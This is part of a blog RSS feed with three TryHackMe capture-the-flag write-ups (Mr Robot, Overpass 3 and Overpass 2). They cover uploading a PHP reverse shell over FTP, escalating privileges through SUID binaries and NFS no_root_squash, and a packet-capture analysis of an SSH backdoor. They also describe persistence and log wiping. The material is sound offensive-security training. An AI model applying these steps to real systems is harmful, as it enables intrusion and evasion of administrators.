src="https://cdn-images-1.medium.com/max/1024/0*lY2bd1HEJZuYOb6G.png" /><figcaption>reverse shell popped!</figcaption></figure><h3>Table 1.2: Credentials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*siV2gYYv6UjSuue2bzkkyg.png" /><figcaption>credentials found on machine.</figcaption></figure><h3>Post-Exploitation</h3><h4>Internal Enumeration</h4><h4>Table 1.3: Checklist for Linux Internal Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*8FvbF4mNGfvIQ5EbVQ6raQ.png" /><figcaption>Linux privilege escalation checklist.</figcaption></figure><p><em>Notes: For more information about the commands look </em><a href="https://explainshell.com/"><em>here</em></a></p><p><em>Tip: When nothing else makes sense, try to use </em><a href="https://github.com/carlospolop/PEASS-ng"><em>LinPEAS</em></a><em> (</em><a href="https://github.com/carlospolop/PEASS-ng"><em>winPEAS</em></a><em> for windows machines.).</em></p><p>Navigating through the machine, we can see there is python3 binary and also enumerated the users in the machine which has name robot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_uxSAXX2j9E7IfBe.png" /><figcaption>/etc/passwd contents and python3 binary which can be used to upgrade the shell.</figcaption></figure><p>Let&#39;s look at the /home/robot directory contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/0*P-fOoDJd-Z_4A5Oi.png" /><figcaption>found md5 hash of robot’s password.</figcaption></figure><p>Using <a href="https://crackstation.net/">CrackStation</a>, we managed to retrieve the password for robot user!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lNIYBMSq8JOgmacR.png" /><figcaption>found the cleartext equivalent of robot’s password</figcaption></figure><p>Such a simple but long password! We can now move laterally using robot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GmGHdAMm37ntWbR2.png" /><figcaption>robot cannot run sudo.</figcaption></figure><p>We cannot use sudo as robot.</p><h3>Privilege Escalation</h3><p>Using the checklist above, I looked first if there are SUID binaries that we can use for privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9BuoWuX3GnKRk_pm.png" /><figcaption>SUID nmap.</figcaption></figure><p>We have nmap binary that has SUID permissions! Let&#39;s check out <a href="https://gtfobins.github.io/">GTFOBins</a> to see if we can use this as a vector for privilege escalation. Which turns out we can!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lKVi_uvh-vQ3mcF4.png" /><figcaption>GTFOBins for spawning shell using nmap.</figcaption></figure><p>To elevate our privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*b47xZh85I-8-Q3FA.png" /><figcaption>rooted.</figcaption></figure><h3>STATUS: ROOTED</h3><p>The next two steps are not necessary for completion of the machine but it completes the 5 Phases of Penetration Testing.</p><h3>Persistence</h3><p>Copied the /etc/shadow file for user identification and their passwords.</p><p>Added another root user for easy access.</p><h3>Clearing Tracks</h3><p>Removed all logs and footprints to to prevent risk of exposure of breach to security administrator.</p><h3>Status: Finished</h3><p>Feel free to reach out and if there is something wrong about the above post. Feedback are also appreciated! :D</p><h3>Donation Box</h3><p>Not required but appreciated! :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*Zp179nUzBMqBk_swIXMtxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/0*cjxpPW-PdqZdor1Y.png" /></figure><h3>Socials</h3><ul><li><a href="https://twitter.com/hambyhaxx">Twitter</a></li><li><a href="https://github.com/hambyhacks">Github</a></li></ul><p><em>Originally published at </em><a href="https://hambyhacks.hashnode.dev/tryhackme-mr-robot-ctf-writeup"><em>https://hambyhacks.hashnode.dev</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8391eb39dd1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Overpass 3 — Hosting Writeup]]></title>
            <link>https://scritty.medium.com/tryhackme-overpass-3-hosting-writeup-6555a937d98?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/6555a937d98</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Sat, 22 Jan 2022 02:56:53 GMT</pubDate>
            <atom:updated>2022-01-22T03:05:36.224Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Overpass 3 — Hosting Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W63x_dP7NwHny_y4" /><figcaption>Photo by <a href="https://unsplash.com/@dnevozhai?utm_source=medium&amp;utm_medium=referral">Denys Nevozhai</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><pre>IP = 10.10.226.31* <br>Difficulty: Medium <br>Machine OS: Linux <br>Learning Platform: tryhackme.com <br>Finished on: Arch Linux</pre><h3>Brief Description</h3><p>This is the 3rd part of the Overpass series which highlight the dangers of misconfigured web server, which in this case, a backup file that contains sensitive information lead to web server compromise also this room shows that NFS shares should be properly secured. To read the previous series, click <a href="https://hambyhaxx.medium.com/tryhackme-overpass-by-ninjajc01-41d3440d6ea0">here</a> and <a href="https://hambyhaxx.medium.com/tryhackme-overpass-2-hacked-writeup-86b870182edd">here</a>.</p><h3>Reconnaissance</h3><h4>Scoping and Preparation</h4><p>Connect to OpenVPN Server using:</p><ul><li>sudo openvpn [.ovpn_file]</li></ul><p>I used my tool <a href="https://www.github.com/hambyhacks/CTFRecon-Go">CTFRecon-Go</a> to automate directory creation, port scanning, web directory brute-forcing and adding entry to /etc/hosts file.</p><pre>1. git clone https://github.com/hambyhacks/CTFRecon-Go &amp;&amp; cd CTFRecon-Go <br>2. go build . <br>3. sudo ./CTFRecon-Go -d [DIRECTORY_NAME] -p [PLATFORM] -i [IP] -w [WORDLIST_TO_USE_FOR_GOBUSTER]</pre><p>You can also download the release binary by using go install : go install github.com/hambyhacks/CTFRecon-Go@latest</p><p>To use CTFRecon-Go if installed using go install:</p><ul><li>sudo CTFRecon-Go -d [DIRECTORY_NAME] -p [PLATFORM] -i [IP] -w [WORDLIST_TO_USE_FOR_GOBUSTER]</li></ul><h3>External Enumeration</h3><h4>Preliminary Enumeration via nmap</h4><h4>Table 1.1: nmap Results Summary</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*yTWlo3OJm-8dVFrDRSgSug.png" /><figcaption>nmap results summary.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_swwgA36TKIN5iyx.png" /><figcaption>Nmap Scan result.</figcaption></figure><p>Let&#39;s look at the HTTP server on port 80.</p><h3>Web Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DwDYPW59c-PPofYy.png" /><figcaption>Possible users on Overpass.</figcaption></figure><p>We can see that in the webpage, Overpass is now offering web and email hosting solutions. Let&#39;s now look at the source code of the web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BpQpW_OWY4Xu9meh.png" /><figcaption>Comment on source code.</figcaption></figure><p>Looks like the developer is doubting about the reliability of their service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*2-q4Bc_3KWKbemZT.png" /><figcaption>Webpage Technologies.</figcaption></figure><p>We can see that the webpage is running Apache with CentOS as their operating system. The web server is likely running .php files.</p><p>Let&#39;s see the result of the GoBuster scan result done by CTFRecon-Go.</p><h4>GoBuster Scan</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/0*m5sqtrZXDZ6EdGDF.png" /><figcaption>GoBuster scan result.</figcaption></figure><p>It seems that there is a directory named /backups, which seems interesting to us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mNpEg_kJOR-wkkPT.png" /><figcaption>backup.zip file on /backups.</figcaption></figure><p>There is a backup.zip file on /backups directory. Let&#39;s download the file and see its contents.</p><h4>Content Discovery</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/0*HmM7OLuPLGhQrUyH.png" /><figcaption>contents of backup.zip file.</figcaption></figure><p>We got CustomerDetails.xlsx.gpg and priv.key inside backup.zip. Lets&#39;s try to decrypt the spreadsheet file using gpg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/0*4c9bJDmxqw4Q1xNb.png" /><figcaption>encrypted spreadsheet using gpg.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NUVAsdO8Zzodkvi-.png" /><figcaption>Forum thread about decrypting gpg files.</figcaption></figure><p>First, we need to import the private key using the command:</p><ul><li>gpg --import [KEYFILE]</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/0*NhMhrJ-7Xd_61C5D.png" /><figcaption>importing private key and decrypting the spreadsheet.</figcaption></figure><p>To decrypt the file:</p><ul><li>gpg --output [OUTPUT FILE] --decrypt [ENCRYPTED FILE]</li></ul><p>Let&#39;s look inside the spreadsheet file!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lrwwZwFHV2So5RT2.png" /><figcaption>Credentials on spreadsheet.</figcaption></figure><p>Nice! We got some credentials for us to use. Let&#39;s look at the FTP service if these credentials are useful to us.</p><h3>FTP Enumeration</h3><p>Let&#39;s try some of the credentials in the FTP service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YKkui7qfhT7PIBR7.png" /><figcaption>Logging in via FTP.</figcaption></figure><p>As shown in the image above, we tried to login as muirlandoracle with the creds we got but it failed. Logging in as paradox gives us login access to FTP service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dzM4El0UQThDYMel.png" /><figcaption>FTP server is mirror image of web server.</figcaption></figure><p>Looks like the FTP server is a mirror of web server. We can verify it by uploading a simple .txt file and try to read its contents. I uploaded a file named test.txt via FTP.</p><p>To upload a file via FTP:</p><ul><li>put [FILE]</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EjNUr--uDwcpS_5r.png" /><figcaption>Uploaded test.txt file using FTP and viewing in web server.</figcaption></figure><p>Let&#39;s try a .php file since the web server is running Apache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*CN8Yxg-cgS3D6Dyl.png" /><figcaption>uploading phpinfo() file.</figcaption></figure><p>Seems like our .php file is uploaded successfully. Let&#39;s view the contents of the file. We should be greeted by phpinfo() content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sIKQf629Y97F92yZ.png" /><figcaption>Successful execution of phpinfo() file.</figcaption></figure><h3>Exploitation</h3><p>Knowing that we can upload .php file and execute it, we can try to upload a reverse shell and get a foothold in the machine. Download the reverse shell <a href="https://github.com/pentestmonkey/php-reverse-shell">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*me-xLMN1c8a5zLpy.png" /><figcaption>Github Repository for php-reverse-shell.</figcaption></figure><p>We need to edit the file to successfully catch the reverse shell using netcat. Edit the IP and port variables to <strong>match</strong> your IP and desired port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nM-eNmuYgk3PpyqL.png" /><figcaption>Editing php-reverse-shell.</figcaption></figure><p>Open up a listener using netcat. To do this:</p><p>Upload the updated reverse shell file via FTP service and navigate to webpage where we uploaded the malicious .php file. It should be on web root (e.g., overpass3.thm/[filename].php)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lMm_V7ME9j7-GzyG.png" /><figcaption>Successfully popped reverse shell.</figcaption></figure><h3>Table 1.2: Credentials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*OjyTvA_FpqQsycIuRq9hSQ.png" /></figure><h3>Post-Exploitation</h3><h4>Internal Enumeration</h4><h4>Table 1.3: Checklist for Linux Internal Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8qE7Vv4-wDENWJh_5BEPOQ.png" /><figcaption>Linux checklist for Privilege escalation vectors.</figcaption></figure><p><em>Notes: For more information about the commands look </em><a href="https://explainshell.com/"><em>here</em></a></p><p><em>Tip: When nothing else makes sense, try to use </em><a href="https://github.com/carlospolop/PEASS-ng"><em>LinPEAS</em></a><em> (</em><a href="https://github.com/carlospolop/PEASS-ng"><em>winPEAS</em></a><em> for windows machines.).</em></p><p>Let&#39;s check the /etc/passwd file to see which users has login shell.</p><ul><li>cat /etc/passwd | grep &quot;bash&quot;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/0*xeABE1hfXiLYTyqV.png" /><figcaption>users with login shell.</figcaption></figure><p>Let&#39;s stabilize the shell by using python3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RDpU3bKMH6QnoVJ-.png" /><figcaption>locating python binary for upgrading shell.</figcaption></figure><p>To upgrade the shell:</p><ul><li>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</li></ul><p>Let&#39;s try to login as paradox since we have his/her creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/0*XauAQwArzuvgOpbO.png" /></figure><p>We also tried to enumerate binaries with SUID permissions.</p><ul><li>find / -type f -perm -u+s 2&gt;/dev/null</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*q6Brky8ck1anRPub.png" /></figure><p>Looking at the questions for this room, there is a hidden web flag needed to complete the room. Let&#39;s find it using the find command.</p><ul><li>find / -type f -name &quot;*flag*&quot; 2&gt;/dev/null</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/0*hI4IvqoC4r0ZmgUf.png" /><figcaption>web flag.</figcaption></figure><p>Let&#39;s also look which ports are open on the machine. To do this:</p><ul><li>ss -tulpn</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-mYDZiLD82AyvHt3.png" /><figcaption>Open ports.</figcaption></figure><p>We know about the HTTP,SSH, and FTP open but port 2049 is an NFS server and not enumerated by nmap because it is only served at localhost.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-csxigbaU5ypRCMF.png" /><figcaption>port 2049: NFS.</figcaption></figure><p>Let&#39;s create a SSH tunnel to view which shares are accessible through NFS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/0*zD1Je41tH0uZNqCa.png" /><figcaption>SSH tunnel through 2049 to become accessible through localhost.</figcaption></figure><h3>Privilege Escalation</h3><p>After several minutes, I stopped manual enumeration and uploaded LinPEAS to the machine.</p><p>LinPEAS shown a Privilege Escalation Vector in /etc/exports showing that it is set to no_root_squash option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/0*9iL2yQe-gqQPTntq.png" /><figcaption>no_root_squash.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/0*xyKWN8c0ETv7xVEV.png" /><figcaption>no_root_squash PE vector.</figcaption></figure><p>To elevate our privileges:</p><ol><li>In the attacking machine, create a directory for mounting the NFS shares. In this case, i created tmp/PrivEsc directory for mounting the vulnerable share.</li></ol><ul><li>sudo mount -v -t nfs 127.0.0.1:/ [MOUNT DIRECTORY]</li></ul><p>2. Check the contents of mounted NFS share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NFa57kbvFoZZLFd8.png" /><figcaption>Copied SSH private key of james.</figcaption></figure><p>3. We copied james private key ( id_rsa) and logged in via SSH.</p><p>4. In the victim machine, we copied the bash binary to james home directory.</p><ul><li>cp /bin/bash bash</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yBCLrRMBnuwplg2K.png" /><figcaption>Copied /bin/bash to james’ home directory.</figcaption></figure><p>5. In our attacking machine, we changed the ownership and permissions of the bash binary.</p><ul><li>sudo chown root:root bash</li><li>sudo chmod +s bash</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iN8of1TXx4SPzv2K.png" /><figcaption>Attacker given SUID permissions on bash binary.</figcaption></figure><p>6. In the victim machine, execute the bash binary with -p flag to gain root shell.</p><ul><li>./bash -p</li></ul><p>Now we are root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/0*KidpUss_wUgtZW-C.png" /><figcaption>rooted.</figcaption></figure><h3>STATUS: ROOTED</h3><p>The next two steps are not necessary for completion of the machine but it completes the 5 Phases of Penetration Testing.</p><h3>Persistence</h3><p>Copied the /etc/shadow file for user identification and their passwords.</p><p>Added another root user for easy access.</p><h3>Clearing Tracks</h3><p>Removed all logs and footprints to to prevent risk of exposure of breach to security administrator.</p><h3>Status: Finished</h3><p>Feel free to reach out and if there is something wrong about the above post. Feedbacks are also appreciated! :D</p><h3>Donation Box</h3><h4>Not required but appreciated! :D</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*Zp179nUzBMqBk_swIXMtxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/0*H6Uh9deof1cYp6Yp.png" /></figure><h3>Socials</h3><ul><li><a href="https://twitter.com/hambyhaxx">Twitter</a></li><li><a href="https://github.com/hambyhacks">Github</a></li></ul><p><em>Originally published at </em><a href="https://hambyhacks.hashnode.dev/tryhackme-overpass-3-hosting-writeup"><em>https://hambyhacks.hashnode.dev</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6555a937d98" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Overpass 2 — Hacked Writeup]]></title>
            <link>https://scritty.medium.com/tryhackme-overpass-2-hacked-writeup-86b870182edd?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/86b870182edd</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Fri, 14 Jan 2022 06:04:16 GMT</pubDate>
            <atom:updated>2022-01-14T06:04:16.053Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Overpass 2 — Hacked Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*A5QceJF40Xr9CYrE" /><figcaption>Photo by <a href="https://unsplash.com/@jaredmurray?utm_source=medium&amp;utm_medium=referral">Jared Murray</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><pre>IP = 10.10.223.88* <br>Difficulty: Easy <br>Machine OS: Linux <br>Learning Platform: tryhackme.com <br>Finished on: Arch Linux</pre><h3>Brief Description</h3><p>This is the 2nd part of the Overpass series which includes packet analysis and source code analysis. Click <a href="https://hambyhaxx.medium.com/tryhackme-overpass-by-ninjajc01-41d3440d6ea0">here</a> if you wish to read the walkthrough for the first part of this series. I hope you enjoy this kind of writeups!</p><h3>Reconnaissance</h3><h4>Scoping and Preparation</h4><p>Connect to OpenVPN Server using:</p><ul><li>sudo openvpn [.ovpn_file]</li></ul><p>Download the file provided in Task 1.</p><p>In Task 3, let&#39;s start the machine to do some recon and enumeration while we analyze the .pcap file provided in Task 1.</p><p>I used my tool <a href="https://www.github.com/hambyhacks/CTFRecon-Go">CTFRecon-Go</a> to automate directory creation, port scanning, web directory brute-forcing and adding entry to /etc/hosts file.</p><pre>1. git clone https://github.com/hambyhacks/CTFRecon-Go &amp;&amp; cd CTFRecon-Go <br>2. go build . <br>3. sudo ./CTFRecon-Go -d [DIRECTORY_NAME] -p [PLATFORM] -i [IP] -w [WORDLIST_TO_USE_FOR_GOBUSTER]</pre><p>To use CTFRecon-Go if installed using go install: go install github.com/hambyhacks/CTFRecon-Go@latest</p><h3>PCAP Analysis</h3><p>Let&#39;s look at the .pcap file provided in Task 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DyUZXboGO7ddnk7y.png" /><figcaption>.pcap file included in Task 1.</figcaption></figure><p>Opening up the file, we can see that there is a HTTP request on a page named /development.</p><p>Follow the TCP stream so we can clearly see where the HTTP request go. To follow TCP stream:</p><p>At TCP stream 1, there is a POST request on /development/upload.php, where the uploaded file is named as payload.php with a content that looks like a reverse shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/0*tvFNQw36PxS2Fr3m.png" /><figcaption>TCP stream 1</figcaption></figure><p>It seems the reverse shell payload was successfully uploaded.</p><p>Let&#39;s look further in the TCP streams.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/0*4H53fKhTQhBW9oEE.png" /><figcaption>TCP stream 2</figcaption></figure><p>The attacker requests for his/her uploaded reverse shell to compromise the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/0*A3R7AWvv3bVN-LcP.png" /><figcaption>TCP stream 3.0</figcaption></figure><p>In the image above, we can see that the attacker successfully gained a shell access to the web server as www-data. The attacker immediately upgraded the shell and got the password from .overpass file which in Overpass 1, is a ROT47 encrypted password.</p><p>The attacker also immediately switched user using su as James after decrypting the .overpass file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/0*5B1GXVSqGZTiemGN.png" /><figcaption>TCP Stream 3.1.</figcaption></figure><p>The image above shows that james has sudo privilege on the server which allows him to do <strong>any</strong> actions as the <strong>root</strong> user.</p><p>The attacker dumped the /etc/shadow file which contains the password for the users in the machine which is encrypted using SHA-512 by looking at the start of the password string.</p><p>Example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/0*sGyIzAyURO6mhZ6G.png" /><figcaption>TCP Stream 3.2.</figcaption></figure><p>We can test the password strength of these credentials using any password cracking tool such as hashcat or JohnTheRipper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/0*OSK1P33ihm-bXdiS.png" /><figcaption>TCP Stream 3.3.</figcaption></figure><p>The attacker downloaded a file named ssh-backdoor using git. Let&#39;s look the contents of that repository after we analyzed the .pcap file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/0*GiIk0-YA6uLvv2q6.png" /><figcaption>TCP stream 3.4.</figcaption></figure><p>Using ssh-keygen the attacker created a private key id_rsa for easy backdoor access. The attacker also make the backdoor file executable and the ssh-backdoor is listening to port 2222.</p><p>Looking on the command used by the attacker, backdoor is supplied with some type of hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/0*K4cG5oyGJM-3KDqs.png" /><figcaption>TCP stream 7.</figcaption></figure><p>Fast forward to TCP stream 7, we can see from the image above that the attacker downloaded a file named cooctus.png.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/0*FSJmHurnw9czrD6N.png" /><figcaption>TCP stream 8.</figcaption></figure><p>At TCP stream 8, the attacker decides to deface the website by using the cooctus.png file downloaded earlier.</p><p>Let&#39;s look at the contents of the github repository from which the ssh-backdoor was downloaded.</p><h3>Source Code Analysis</h3><p>Navigate to the Github Repository by visiting the URL: <a href="https://github.com/NinjaJc01/ssh-backdoor">https://github.com/NinjaJc01/ssh-backdoor</a></p><p>Let&#39;s look at the file main.go:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mEW_f8cjjOBdylPc.png" /><figcaption>hardcoded hash in main.go.</figcaption></figure><p>There is a hardcoded hash on the file. Let&#39;s take note of this for later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5Um0hNIk-PbTxSzK.png" /><figcaption>hardcoded salt in main.go</figcaption></figure><p>Also, there is a hardcoded salt which the function verifyPass needed as an argument.</p><p>Knowing we have the password hash and salt, we can now try to crack the password.</p><h3>Password Cracking</h3><p>First, identify the type of hash used in the ssh-backdoor. We can use <a href="https://nth.skerritt.blog/">Name That Hash</a> and paste the hash on the textbox. Since we have salt identified on the .pcap file. We should use hashcat mode 1710.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rhvJpdqfKYeMIIf3tnobRA.png" /><figcaption>hashcat mode for SHA512 with salt.</figcaption></figure><p>Using <a href="https://colab.research.google.com/github/someshkar/colabcat/blob/master/colabcat.ipynb">Colabcat</a>, I managed to crack the hash with salt given on the .pcap file and main.go. I used Colabcat because I don&#39;t have hashcat and John configured properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D-_xC25dg-OMp-Va.png" /><figcaption>Colabcat (hashcat on Google Colab notebooks)</figcaption></figure><h4>Table 1.1: Credentials</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*j-uD81nBxkZOTcPvHoqqKw.png" /><figcaption>Credentials found using colabcat.</figcaption></figure><p>We can now look at the result of our Nmap and Gobuster scan earlier from CTFRecon-Go.</p><h3>External Enumeration</h3><h3>Preliminary Enumeration via nmap</h3><h4>Table 1.2: nmap Results Summary</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*8J9ssNV7Ak_QdSB_Uu-a7g.png" /><figcaption>nmap result summary.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SzAzRmxfu5Mp0lra.png" /></figure><p>Machine OS: Based on OpenSSH version on port 22, machine is <a href="https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4ubuntu0.3">Ubuntu Bionic</a>.</p><p>Let&#39;s look at the HTTP server on port 80.</p><h3>Web Enumeration</h3><p>We can see that the web page has been defaced by Cooctus Clan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*E4jRf4uxmjiBLpeS.png" /></figure><p>Knowing the credentials for james, we can now try to hack our way back in!</p><h3>Exploitation</h3><p>We have the credentials for james in SSH-backdoor, we can try to login via ssh.</p><p>To login via ssh:</p><ul><li>ssh james@[IP] -p 2222</li><li>With password: november16 <em>see credentials table above.</em></li></ul><p>We logged in via port 2222 because it is where the ssh-backdoor serves SSH service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*js0-hACaX-TCNl0Y.png" /></figure><p>Let&#39;s enumerate further more.</p><h3>Post-Exploitation</h3><h4>Internal Enumeration</h4><h4>Table 1.3: Checklist for Linux Internal Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*tWa3xYyPene1lg7Nf__Q7Q.png" /><figcaption>Linux checklist for privilege escalation.</figcaption></figure><p><em>Notes: For more information about the commands look </em><a href="https://explainshell.com/"><em>here</em></a></p><p><em>Tip: When nothing else makes sense, try to use </em><a href="https://github.com/carlospolop/PEASS-ng"><em>LinPEAS</em></a><em> (</em><a href="https://github.com/carlospolop/PEASS-ng"><em>winPEAS</em></a><em> for windows machines.).</em></p><p>Let&#39;s navigate to the home directory of james and see its contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k3zqLoYXbUn6-yr4.png" /></figure><p>.suid_bash and user.txt are the files which are interesting to see.</p><p>Running .suid_bash gives us a shell but notice the permissions on that file. It is owned by <strong>root</strong> and having SUID permissions on it which means we can run it as <strong>root</strong> without escalating privileges. Taking the explanation from <a href="https://www.redhat.com/sysadmin/suid-sgid-sticky-bit">https://www.redhat.com/sysadmin/suid-sgid-sticky-bit</a>: &quot;A file with SUID always executes as the user who owns the file, regardless of the user passing the command.&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aHqBwCan7ZNkUVGF.png" /></figure><p>We can try to escalate our privileges knowing that .suid_bash has SUID bit set on its permissions.</p><h3>Privilege Escalation</h3><p>Looking at the flags for bash, we can use -p flag for the .suid_bash run as <strong>root</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L-i23hrXz3mboTF8.png" /></figure><p>Also from <a href="https://gtfobins.github.io/gtfobins/bash/">GTFOBins</a>, we can see that -p flag is used in privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8qVnXhHpGtNsQwZi.png" /></figure><p>Let&#39;s try to use it in .suid_bash:</p><p>Now we are root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nac6N7IfIwsOA22F.png" /></figure><h3>STATUS: ROOTED</h3><p>The next two steps are not necessary for completion of the machine but it completes the 5 Phases of Penetration Testing.</p><h3>Persistence</h3><p>Copied the /etc/shadow file for user identification and their passwords.</p><p>Added another root user for easy access.</p><h3>Clearing Tracks</h3><p>Removed all logs and footprints to to prevent risk of exposure of breach to security administrator.</p><h3>Status: Finished</h3><p>Feel free to reach out and if there is something wrong about the above post. Feedbacks are also appreciated! :D</p><h3>Donation Box</h3><p><em>Not required but appreciated! :D</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*Zp179nUzBMqBk_swIXMtxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/0*TeQP4kEDg06z2z2c.png" /></figure><h3>Socials</h3><ul><li><a href="https://twitter.com/hambyhaxx">Twitter</a></li><li><a href="https://github.com/hambyhacks">Github</a></li></ul><p><em>Originally published at </em><a href="https://hambyhacks.hashnode.dev/tryhackme-overpass-2-hacked-writeup"><em>https://hambyhacks.hashnode.dev</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86b870182edd" width="1" height="1" 